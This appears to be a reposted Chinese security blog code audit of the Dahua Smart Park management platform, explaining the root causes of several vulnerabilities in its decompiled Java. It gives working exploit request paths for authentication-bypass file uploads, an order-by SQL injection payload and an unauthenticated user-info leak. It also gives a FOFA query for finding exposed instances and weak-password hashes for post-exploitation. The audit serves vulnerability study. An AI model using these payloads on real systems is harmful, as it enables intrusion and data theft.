大华智慧园区综合管理平台 代码审计

admin 2024年6月3日09:03:04评论42 views字数 7999阅读26分39秒阅读模式

 

前言

大华智慧园区综合管理平台 代码审计

在23年 HW 期间大华智慧园区综合管理平台爆出来了非常多的漏洞,本着学习的心态来看看漏洞成因
FOFA:body="/WPMS/asset/lib/gridster/"

代码审计

devicePoint_addImgIco 任意文件上传

/emap/devicePoint_addImgIco?hasSubsystem=true

可以看到 emap 是由 struts2 框架搭建的,在配置文件emap/WEB-INF/classes/struts/struts-default.xml中发现 myInterceptor 拦截器

大华智慧园区综合管理平台 代码审计

它会先调用emap/WEB-INF/classes/com/dahuatech/util/aop/MyInterceptor.classintercept 方法

大华智慧园区综合管理平台 代码审计

如果执行的是 ignoreActionMethod 或者this.before(invocation)为true,就会绕过权限验证

private List<String> ignoreActionMethod = Arrays.asList("emap_noticeBitmapSyncData", "login_userLogout", "staircase_getListByMapId", "emap_findConfigData", "bitmap_findAllMap", "picture_getPicPath");

跟进 before 方法

public boolean before(ActionInvocation invocation) {
    boolean permission = true;

    try {
        ActionContext cxt = invocation.getInvocationContext();
        HttpServletRequest request = (HttpServletRequest)cxt.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest");
        HttpServletResponse response = (HttpServletResponse)cxt.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse");
        String hasSubsystem = request.getParameter("hasSubsystem");
        if ("execute".contains(cxt.getName())) {
            this.logger.error("主系统来获取菜单" + cxt.getName());
            this.isReqLegal(request);
            permission = true;
        } else {
            Map<String, Object> session = cxt.getSession();
            Object token = session.get(Constants.TOKEN);
            this.logger.error("检查session" + token);
            String ptoken;
            if (token == null) {
                if (hasSubsystem != null && hasSubsystem.equals("true")) {
                    ptoken = this.getRequestBodyString(request.getReader());
                    this.logger.info("子系统访问param:" + ptoken);
                    Map<String, String> subBean = this.getMapFromStringParam(ptoken);
                    if (this.subSystem.contains(((String)subBean.get("subSystem")).toString())) {
                        request.setAttribute("param", subBean.get("param"));
                        permission = true;
                    } else {
                        permission = false;
                    }
                } else {
                    permission = this.hasLogin(request, response, session);
                }
            } else {
                ptoken = request.getParameter("token");
                if (StringUtil.notNull(ptoken)) {
                    if (ptoken.equals(token.toString())) {
                        permission = true;
                    } else {
                        permission = this.hasLogin(request, response, session);
                    }
                }
            }
        }
    } catch (Exception var11) {
        var11.printStackTrace();
    }

    return permission;
}

这段代码是很经典的逻辑缺陷问题,permission默认设置为true,而 catch 这里并不会异常退出,而是打印错误后继续执行,所以说能在permission = false执行之前走到 catch 这里,就不需要鉴权了

大华智慧园区综合管理平台 代码审计

我们可以控制hasSubsystem的值为 true ,继续往下执行,subBean.get("subSystem")未能找到 subSystem 键,会产生报错,达成条件

找到emap/WEB-INF/classes/com/dahuatech/emap/mapbiz/poi/action/PoiAction.class的 addImgIco 方法

大华智慧园区综合管理平台 代码审计

这里上传路径是固定的:/opt/tomcat/webapps/upload/emap/society_new,并且文件后缀可控,最后会返回上传的文件名

大华智慧园区综合管理平台 代码审计

getFaceCapture SQL注入

/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(114514)),0x7e),1)--%22%7D/extend/%7B%7D

看到portal/WEB-INF/web.xml

大华智慧园区综合管理平台 代码审计

存在CXFServlet,对应的接口是/ws/*/services/*,webService的配置文件在portal/WEB-INF/classes/applicationContext.xml

大华智慧园区综合管理平台 代码审计

给出了所有的 WebService
主要看到portal/WEB-INF/classes/com/dahua/dssc/webservice/carQuery/CarQueryServiceImpl.class的 getFaceCapture 方法

大华智慧园区综合管理平台 代码审计

这里如果没有传 orderBy 参数,会设置默认参数

public void defaultFaceCaptureSearchOrder(Object o) {
    if (o instanceof Page) {
        Page<T> page = (Page)o;
        if (page != null && StringUtil.isEmpty(page.getOrderBy())) {
            page.setOrderBy("detectTime");
            page.setOrder("desc");
        }
    }

}

该方法最终会 return json,期间会执行

json = this.faceCaptureManager.getFaceCaptureJson(searchBean, page, extend);

跟进到portal/WEB-INF/classes/com/dahua/dssc/business/face/manager/impl/FaceCaptureManagerImpl.class的 getFaceCaptureJson 方法

大华智慧园区综合管理平台 代码审计

会调用 this.getFaceCapturePage 方法

大华智慧园区综合管理平台 代码审计

走到portal/WEB-INF/classes/com/dahua/dssc/business/face/dao/impl/FaceCaptureDaoImpl.class的 getFaceCapturePage 方法

大华智慧园区综合管理平台 代码审计

调用了父类的 findSql 方法,portal/WEB-INF/classes/com/dahua/dssc/base/dao/AbstractDao.class

public Page<T> findSql(Page<T> page, Class<T> clazz, String sql, Object... values) {
    return this.paginationJdbcSupport.find(page, clazz, sql, values);
}

调用到portal/WEB-INF/classes/com/dahua/dssc/base/dao/PaginationJdbcSupport.class的 find 方法

大华智慧园区综合管理平台 代码审计

由于数据库是MySql,跟进 this.getResultMySql

大华智慧园区综合管理平台 代码审计

这里如果 page.getOrderBy() 不为空,则在最后 append 拼接sql语句,造成 order by 报错注入
最后执行的语句:

select t.CAPTUREINDEX as id,t.DETECTTIME as detectTime,t.FACEPATH as facePath,t.ORIGINALPATH as origPath,t.CHANNELID as chnId,t.DEVICEADDR as devChnname,date_format(t.DETECTTIME,'%Y-%m-%d %H:%i:%s') as capDateStr from IVS_FACE_CAPTURE t where 1=1 order by 1 and 1=updatexml(1,concat(0x7e,(select md5(114514)),0x7e),1)-- asc limit -1,-1

大华智慧园区综合管理平台 代码审计

user_getUserInfoByUserName.action 用户信息泄露

/admin/user_getUserInfoByUserName.action?userName=system

看到拦截器admin/WEB-INF/classes/com/dahua/admin/common/aop/Interceptor.class

if (userBean == null && !servletPath.contains("/ztree.action") && !servletPath.contains("/ztree_refresh.action") && !servletPath.contains("/user_getUserInfoByUserName.action") && !servletPath.contains("/cascade_") && !servletPath.contains("/videoplanalone_") && !servletPath.contains("/access_") && !servletPath.contains("/nvrrelation_updateNvrRelationStat.action") && !servletPath.contains("/specialMenu_isAccessable.action") && !servletPath.contains("/role_getAvailableVideoWallListJson.action") && !servletPath.contains("/message.action") && !servletPath.contains("/deviceReconfigServer_") && !servletPath.contains("getCurrentProductInfo.action") && !servletPath.contains("rfid_getRfidDeviceInfo.action") && !servletPath.contains("configReader_refreshConfig.action") && !servletPath.contains("/itc/itcRecord_") && !servletPath.contains("/itc/itcztree.action") && !servletPath.contains("/itc/carSurvey") && !servletPath.contains("/subSystem_executeByIndex.action") && !servletPath.contains("/subSystem_isRunning.action") && !servletPath.contains("/config_remoteSaveWhiteList.action") && !servletPath.contains("/config_remoteGetWhiteList.action") && !servletPath.contains("/config_isHttpsEnable.action") && !servletPath.contains("/config_resetFtpPassword.action") && !servletPath.contains("/subSystem_isCorrectUser.action") && !servletPath.contains("/subSystem_getSubStatusByName.action") && !servletPath.contains("/user_checkPasswordDeadline.action") && !servletPath.contains("/user_checkEditFtpPass.action") && !servletPath.contains("/user_checkEditPass.action") && !servletPath.contains("/config_getPassWordStrength") && !servletPath.contains("/config_changePort.action") && !servletPath.contains("/config_synMasterIp.action") && !servletPath.contains("/authorize_") && !servletPath.contains("/domain_")) {

大华智慧园区综合管理平台 代码审计

不需要权限访问的 action 都列出来了
看到admin/WEB-INF/classes/com/dahua/admin/business/user/action/UserAction.class的 getUserInfoByUserName 方法

大华智慧园区综合管理平台 代码审计

接收 userName 参数,然后调用this.userManager.getUserBean(userName),并会返回结果
跟进到admin/WEB-INF/classes/com/dahua/admin/business/user/manager/UserManagerImpl.class的 getUserBean 方法

大华智慧园区综合管理平台 代码审计

跟进admin/WEB-INF/classes/com/dahua/admin/business/user/dao/UserDaoImpl.class的 getUser 方法

大华智慧园区综合管理平台 代码审计

发现使用的是hibernateTemplate.findByCriteria,根据 loginName 进行查询,存在默认管理员账户:system

大华智慧园区综合管理平台 代码审计

video 任意文件上传

/publishing/publishing/material/file/video

看到配置文件publishing/WEB-INF/web.xml,发现权限认证的filter

大华智慧园区综合管理平台 代码审计

走到publishing/WEB-INF/classes/com/dahua/cardsolution/authentication/UserAuthenticationFilter.java

大华智慧园区综合管理平台 代码审计

发现如果包含*/publishing/publishing/*路径,或者路径后缀为.css.js.png.gif,则不鉴权

看到publishing/WEB-INF/classes/com/dahua/cardsolution/controller/publishing/MaterialController.java

大华智慧园区综合管理平台 代码审计

使用 MultipartFile 接收上传的文件,调用

materialFile = buildMaterialFile(multipartFile);        
materialFile = materialService.addVideoFile(materialFile);

进行处理,最后返回 result
跟进到publishing-service-1.0.0.jar!/com/dahua/cardsolution/service/publishing/impl/MaterialServiceImpl.class的 addVideoFile 方法

大华智慧园区综合管理平台 代码审计

这里调用 this.fileManageService.generateFileName 重新生成文件名,并且调用 this.fileManageService.sendFile 上传文件,videoFile.setPath 保存了路径

跟进到publishing-service-1.0.0.jar!/com/dahua/cardsolution/service/publishing/impl/FileManageServiceImpl.class

大华智慧园区综合管理平台 代码审计

发现文件后缀是可控的,文件写入的路径为:/opt/ftp/publishingImg/VIDEO/
这里使用了软链接,所以我们可以通过web路径访问到文件

大华智慧园区综合管理平台 代码审计

简单测试一下

大华智慧园区综合管理平台 代码审计

后渗透利用

来看一下数据库密码的生成规则
看到admin/WEB-INF/classes/com/dahua/admin/util/EncryptionUtils.class的 getEncryptedText 方法

public static String getEncryptedText(UserBean checkedUser) {
     return "true".equals(ConfigReader.getStringIsNull("user.loginpass.encryted")) ? encrypt(checkedUser.getLoginName() + ":dss:" + checkedUser.getLoginPass()) : checkedUser.getLoginPass();
 }

发现 loginPass 的值是checkedUser.getLoginName() + ":dss:" + checkedUser.getLoginPass(),然后调用 encrypt 方法加密生成的

大华智慧园区综合管理平台 代码审计

发现是使用md5进行加密的,下列是几个弱口令生成的密码:

system:dss:admin12345  md5: 5ce3960eac39a95ed67b654053849793
system:dss:admin123    md5: 278bf69381b3053c5387cf09bed039ce
system:dss:Admin123    md5: 1ebe47fb5b1299c1ecc061e248450b83

可以使用字典爆破md5值

大华智慧园区综合管理平台 代码审计

也可以连接数据库改 system 的密码进后台

大华智慧园区综合管理平台 代码审计

群内不定期更新各种POC

大华智慧园区综合管理平台 代码审计

大华智慧园区综合管理平台 代码审计

原文始发于微信公众号(道一安全):23年攻防大杀器 大华智慧园区综合管理平台 代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日09:03:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大华智慧园区综合管理平台 代码审计https://cn-sec.com/archives/2807412.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息